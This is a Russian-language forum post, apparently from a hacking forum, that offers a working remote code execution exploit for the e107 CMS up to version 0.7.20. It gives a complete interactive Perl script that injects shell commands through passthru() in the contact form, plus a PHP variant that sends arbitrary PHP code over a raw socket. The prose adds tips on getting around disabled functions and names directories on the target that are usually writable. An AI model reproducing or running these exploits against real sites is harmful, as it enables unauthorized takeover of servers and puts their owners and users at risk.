Показать сообщение отдельно
Старый 05.07.2010, 21:47   #9
Pashkela
 
Аватар для Pashkela
 
Регистрация: 05.07.2010
Сообщений: 1,243
По умолчанию e107 <= 0.7.20 remote code execute

e107 <= 0.7.20 remote code execute

Допилено из:

http://downloads.securityfocus.com/v...loits/40252.pl

Код:
use LWP::UserAgent;
my $path = $ARGV[0] or die("Usage: perl e107_phpbb.pl http://e107site/pathto/contact.php\n");
sub char_p($) {
         $str1=$_[0];
         $aa="";$bb="";
         for ($i = 0; $i<length($str1); $i++ ) {
             $aa =  ord(substr($str1,$i,1));
             if ( $i == 0 ) {$bb= "chr(" . $aa . ")";} else { $bb= $bb. ".chr(" . $aa . ")" ;}
         }
         return "$bb";
}
go();
sub go 
{
  while (1){
     print "Enter command - passthru(.....):\n";
     $choice = <STDIN>;
     chomp $choice;
     print "--------------------\n";
     print "Command: passthru($choice)\n";
     print "--------------------\n";
     $choice1 = char_p ($choice);
     my $load = "passthru($choice1)"; # Simple 'id' command. Put ur PHP payload here! :)
     # Remove comment for proxy support
     #my $proxy = 'http://127.0.0.1:8118/';
     #$ENV{http_proxy} = $proxy ? $proxy: 0;
     $ua = new LWP::UserAgent;
     $ua->agent("Mozilla/5.0");
     if ( $proxy ){
       print "[*] Using proxy $proxy \n";
       $ua->env_proxy('1');
     }
     my $req = new HTTP::Request POST => $path;
     $req->content_type('application/x-www-form-urlencoded');
     $req->content("send-contactus=1&author_name=%5Bphp%5D$load%3Bdie%28%29%3B%5B%2Fphp%5D");
     my $res = $ua->request($req);
     my $data = $res->as_string;
     if ( $data =~ /<td class=["']main_section['"]>(.*)/ ){
       $data = $1;
       print "$data\n";
       print "--------------------\n";
       print "done: passthru($choice)\n";
       print "--------------------\n";
     }else{
       print "$data\n";
       print "--------------------\n";
       print "done: passthru($choice)\n";
       print "--------------------\n";
     }
  }
}
Т.е. просто вводите например ls -la и видите результат, если не сработало - тогда юзаем сплойт ниже (или сразу его, чтобы проверить сначала), смотрим phpinfo() и видим disabled functions (на крутых сайтах постоянно встречается), думаем, что можно сделать с помощью php-кода:

PHP код:
<?
$url 
"http://site.com/contact.php";
$parse_url parse_url($url);
$path $parse_url["path"];
$host$parse_url["host"];
$code ='phpinfo();'#<=== Ваш php-код здесь
$data1 '[ php ]'.$code.'die();[ /php ]'#<=== В этой строчке удалите все пробелы
$data "send-contactus=1&author_name=send-contactus=1&author_name=".urlencode($data1);
$fp fsockopen($host80$errno$errstr30); 
if (
$fp){ 
  
$out "POST ".$path." HTTP/1.1\n"
  
$out .= "Host: ".$host."\n"
  
$out .= "Referer: ".$url."/\n"
  
$out .= "User-Agent: Opera\n"
  
$out .= "Content-Type: application/x-www-form-urlencoded\n"
  
$out .= "Content-Length: ".strlen($data)."\n\n"
  
$out .= $data."\n\n"
  
fputs($fp$out);
  while(
$gets=fgets($fp,2048)) { 
    print 
$gets
  } 
  
fclose($fp); 
}
?>
обычно доступны на запись:

/e107_files/public
/e107_files/public/avatars
/e107_files/cache

PS: Примечание - в некоторых случаях команды с пробелами вообще не работают, т.е. для первого варианта кода лучше юзать просто ls для начала
Pashkela вне форума   Ответить с цитированием